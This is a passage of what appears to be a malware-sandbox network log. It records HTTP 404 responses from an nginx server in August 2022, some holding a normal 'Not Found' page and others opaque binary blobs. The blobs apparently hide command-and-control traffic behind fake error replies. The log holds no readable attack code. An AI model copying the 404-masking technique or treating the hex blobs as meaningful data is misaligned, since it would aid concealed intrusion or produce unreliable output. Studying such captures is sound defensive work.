3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 30 Aug 2022 13:54:39 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 e1 8e e2 e3 0b 73 fd 08 d8 a1 5b 1d 69 07 04 66 d5 e7 62 38 e2 2b 47 68 b3 14 1d 81 a7 ee 90 63 fa cf bb 77 d2 90 f6 2f 25 4f a6 9e 75 40 35 18 2c fd 8c 81 f3 41 34 a3 42 ea 3d 2d 59 cd 3d 3b c4 14 89 a6 ba a6 b5 95 ff 9e b1 af 02 93 4b 62 96 5c 96 a0 10 ea 40 81 e0 62 7b a9 af 51 b8 22 86 ad 90 60 b2 85 30 16 b2 84 f4 17 ec b4 73 6f 73 af f2 ad 21 ce 86 2c d5 fd 9e 7b 6c 1d c8 8e c8 25 78 10 a5 9f f1 f4 a9 6d ee 06 07 7c 28 08 43 ce ba 83 8c 59 18 e2 f2 b8 fb 19 a7 8e c1 6c 6a bb a8 09 c0 eb ec 69 7c a4 68 53 71 d7 21 7d 91 9d f0 00 fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 2e 00 f7 ff 34 8c 53 db c5 aa 1e 70 bf 1e e1 92 24 08 4f c5 e3 a1 c9 80 6a 7f d7 fd 69 79 1c 17 7e 0f bb 9a a5 46 c9 a0 e2 a9 dd 7a 0d 80 4e 19 e0 fc 90 a9 18 1a b5 96 be 35 51 61 9a c4 3e 7c 8d 28 c8 48 6b a1 c6 4a 9f 03 fd ec 9e aa 7b ac 87 0f a7 61 0d d0 5d bf 46 34 fd f8 10 6c 33 2c 29 7c 1a 8d c7 ed e4 0e a4 eb 6e 71 eb 90 f5 1a 68 9b 4a d8 09 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 26 b4 f3 a7 3b 2a b9 72 6e d5 23 51 72 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 81 a2 d6 27 5c 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 49 f9 7d b1 d5 32 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 41 b7 ae 51 46 28 e7 5b be e6 ae 1e 26 6d 11 ee c3 0e 52 a3 4c 0d 85 1f d4 5c 68 91 9c 29 06 f1 2c 5e ae 03 7b e5 1f 84 88 0f 74 fe 64 d8 d9 b0 7e 90 89 8a cd 34 7a 74 79 f0 7d 43 cc 69 8e 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 41 7a 17 68 fc ca 27 6b b1 a1 aa 7a 0f 09 69 e3 cd a0 cf 37 00 70 e1 1c c9 50 e3 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 0d a6 70 14 2d 82 c8 f9 02 0f 0f ca a6 c3 25 2e 9f e6 d7 ec 35 88 c3 a7 0d c8 d3 d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 00 aa ae 48 ef b6 d2 41 46 7d da a9 20 ef c8 2f cb 62 10 e8 8b 33 1e ac 18 c8 6e b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 a9 c1 ea de 3d 9a dd 20 2a 82 f0 73 95 cb d9 ed 07 22 4b dc 1a 0e 8b 18 57 a1 18 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 16 60 de dc 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 30 Aug 2022 13:54:46 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 30 Aug 2022 13:54:48 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 61 dd 0e 75 78 42 18 1c d4 12 e3 d0 08 81 3f 13 4e 4e 56 32 e0 bf d2 1a 39 33 fe 91 27 71 39 d3 08 e8 17 a5 b2 59 5d a4 54 68 d9 dc c0 73 5b 1e 35 6b ee 9f ef 20 37 c8 d4 c1 61 3d 5b f8 d1 a3 c8 dc 2b 46 31 b0 47 b5 bd 11 26 bb 02 13 13 30 bf 6c 13 d9 e9 64 52 aa 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 52 0b 47 76 d7 07 53 53 fa cb 1f 9e fd 09 51 2a ee 8c 8b 7b 7e 95 f7 ff 78 8d 57 db c4 0d 13 13 5f 01 e1 92 24 18 4f c5 03 41 cb a1 61 7e 9e f5 69 a9 19 17 7e 4f af 9a a1 44 c9 a0 c1 b9 dd 7a 09 90 4e 19 e0 2c 95 a9 18 1a f6 96 be 35 51 61 94 3c 3c 7c 8b 28 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 12 6c 33 6c 29 7c 0a 8d 8b fe e5 0e c0 eb 7e 71 eb d0 f4 1a 40 38 4b d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 23 37 cc 46 99 48 15 ac af eb d9 55 3d af ba 68 92 ee ff 9d f3 7e 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b 8d a3 df 8e 82 11 e8 e4 1f 8e a1 90 4e b1 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 0f 75 8f b7 af 57 a3 60 36 85 1f d4 bc 68 91 9c 19 06 f1 2c be ae 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 ca e3 80 1e 00 18 50 6d 43 88 8d 8b 8b e1 72 7b d7 9c a8 c3 e0 2b b9 b5 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b 23 e3 a2 aa 45 63 80 e3 1c c9 90 f4 52 48 94 3b 96 4d 7b e6 17 3f ec e4 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 30 Aug 2022 13:54:51 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 30 Aug 2022 13:54:53 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 f5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 3b 0d d7 e2 22 92 c1 8b 8e c2 3a 47 52 51 e6 84 c9 c3 45 a5 ac 6f 0b 8d 5a 77 d9 06 e0 a1 e0 44 52 38 db 32 d1 89 84 33 29 7e 6c 4b 42 a3 82 89 b2 e6 ee 08 80 f0 ee 5f 90 43 2d aa 73 28 08 34 ab 98 11 d1 68 60 9e 22 36 f8 37 33 59 c3 ca a7 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 73 fb 42 15 9b 06 50 53 8a ea 2c ff 1d 09 52 2b e5 8d 83 7b 9e 45 f4 fe 73 8c 5c db c4 1d 10 13 bf f8 a0 92 24 08 4f c5 63 0c cb a1 61 6e de f5 69 99 1a 17 7e 5f ef 9a a5 54 c9 a0 c1 bb dd 7a 08 90 4e 19 e0 2c 95 a9 1d 1a f5 96 be 25 51 61 9a 64 7a 7c 88 2c c8 48 46 fb c5 4a 98 03 fd 6c 9e aa 6b ac 87 3f bd 61 0d c0 4d bf 46 24 fd f8 12 6c 33 6c 39 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 5f 8f f6 1a 0c 9b 4a d8 19 de 88 4f 93 4c 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df e6 ec e7 6e 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac 27 65 d9 55 7d af ba 68 92 0e ff 9d 7f 7f 55 40 57 74 7b 39 ce e5 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b af 1f ba f6 f6 01 e8 e4 27 51 a2 90 4e b1 54 55 a5 9e b4 1b 6f c7 cb 29 32 28 e7 5b 1e 54 ab 1e 26 7d 11 ee e3 ce 57 c3 62 79 e4 6b b5 5c 68 91 34 62 47 f1 2c 7e ad 03 5b a5 1e e4 a6 69 13 9f 10 b9 d9 b0 99 07 99 8a cd e4 7f 74 39 50 6d 83 e2 cb f8 f9 82 62 7a d7 34 bd c3 e0 2b d9 f0 bb 01 4c 17 28 d2 fa 42 1f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 40 80 e3 5c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 30 Aug 2022 13:55:05 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 30 Aug 2022 13:55:07 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 3d 8f e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 51 47 2a 0c 48 d8 3c 65 e4 88 c7 a9 38 1b 1b 6a a9 b0 2e 4a c1 25 f6 63 3a 04 a2 e9 ba eb 1d aa 73 c0 58 dd e3 c3 79 dd 2f 40 94 a4 8c e9 7f 67 aa 8a 94 e7 cc ba 13 b1 3d 2f 4c 45 19 62 f5 da cb eb 79 3e 1b 2a 63 cc be 26 7c c3 32 89 37 49 37 b2 5f 29 ce fe 76 d3 fd 93 4d a7 22 fd 25 c3 b4 ae b9 a2 9f e3 e5 99 34 16 69 8d 08 db 7d ca ed 63 ce 07 d2 d5 7c b2 2b 51 3a e2 b1 99 d9 66 6f 25 79 43 0b d1 3d 8a ed 77 82 fa ea d4 61 5c 03 a1 cb a1 61 7e de f5 69 b9 19 17 7e 5f af 9a f5 01 c9 a0 8d b8 de 7a b5 fd 43 7a e0 2c 95 a9 18 1a f5 96 5e 25 53 60 91 d5 30 60 88 a8 c1 48 6b b1 c1 4a 9a 43 f3 ec fe 6e 6c ac 87 7f b3 61 0d 10 4a bf 46 34 bd f8 12 7c 33 6c 29 7e 0a 8d c1 fd e4 0e a4 eb 7e 71 ed 80 f5 1a 68 9b 4a d8 19 4e d4 4f 3b 69 82 ae 9c 97 02 4c 77 56 ed 72 57 3b 3a b9 72 fe cc 23 b2 75 1e 31 79 82 90 f7 df f5 ec e7 62 2b 4c 80 d0 12 f9 13 63 11 bb d6 77 ed 24 27 18 68 b7 9f 33 19 db 46 01 44 14 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 f3 ba 63 39 42 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b cd ad c8 8e 9a 01 e8 e4 73 98 b6 90 f2 a1 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 1e 54 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 2c 5e ae 03 0e b5 47 d4 a6 7d 10 9f 10 f9 d7 b0 99 17 99 8a cd e4 7f 74 79 54 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 ab a9 b4 5b 54 2a 4f 19 d2 ae 46 1f d0 21 a3 7a 8f a6 65 e3 cd a8 d0 37 00 84 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 7f dc e5 9e 63 d4 03 a6 60 eb ac 98 76 7e 0e ca 82 1f 32 2e 9f 86 cf ec 35 e4 ca a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 58 3a 1d 38 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 30 Aug 2022 13:55:12 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 33 dd d4 a1 2a 42 c2 c8 86 12 39 04 5a 81 e5 c7 b2 1c d6 e7 b2 bf 08 ce 21 a8 5a 44 63 71 e3 07 10 73 a7 70 c4 59 87 70 4c f3 6f 09 ed 73 81 ca a4 64 68 4b 2b 20 ed 1c eb 9c b2 e8 73 f8 0b 77 d0 47 7c 92 60 b0 9d 61 a5 8a 86 6e 50 13 c9 e4 bf 6c 13 d9 bb 64 88 7e 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 57 2b 79 30 ca 21 7e 45 f7 ff 78 8d 55 db 24 0d 11 12 b4 1f ef 92 24 6e 4f c5 03 67 c5 a1 61 7e de f5 b9 d2 19 17 7e 4f af 9a a5 c4 c9 a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 12 1a f5 96 b4 25 51 61 9c d4 3e 7c 88 28 c8 48 6b 21 cf 4a 9a 07 fd ec 1e 2e 74 ac 85 2f fd a0 0d c0 59 bf 46 14 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 89 0c cc 4f 8f 79 82 ae 9c 57 02 4c 93 f0 a3 f3 57 3b 2a b9 72 ee cc 23 b2 b5 0e 31 a1 a8 9e f7 df 35 ee e7 e2 23 4c 80 20 01 f9 13 5b 11 bb d6 af 41 33 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 9a 1e ff 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 24 42 40 fb 99 c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 b9 eb b7 1b 6f d3 cb 29 32 4e e7 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 4d 67 85 4d 5e ae 03 13 ff 1f e4 a6 fd 10 9f 10 bb d9 b0 99 6d 99 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 17 b2 e1 a7 81 5f c8 b4 bb 6f 6a 17 28 d2 0e 46 1f d0 b3 aa 7a 8f 9a 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a d6 63 b9 94 65 5c dc e5 7e ab 00 7e d4 03 2b ac 98 76 c6 01 ca 82 b1 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 03 b2 27 66 0e 77 59 1d f8 d0 a2 ae 88 c1 b4 ae 33 25 77 da a9 c3 ce c7 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 4e 93 81 5b 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 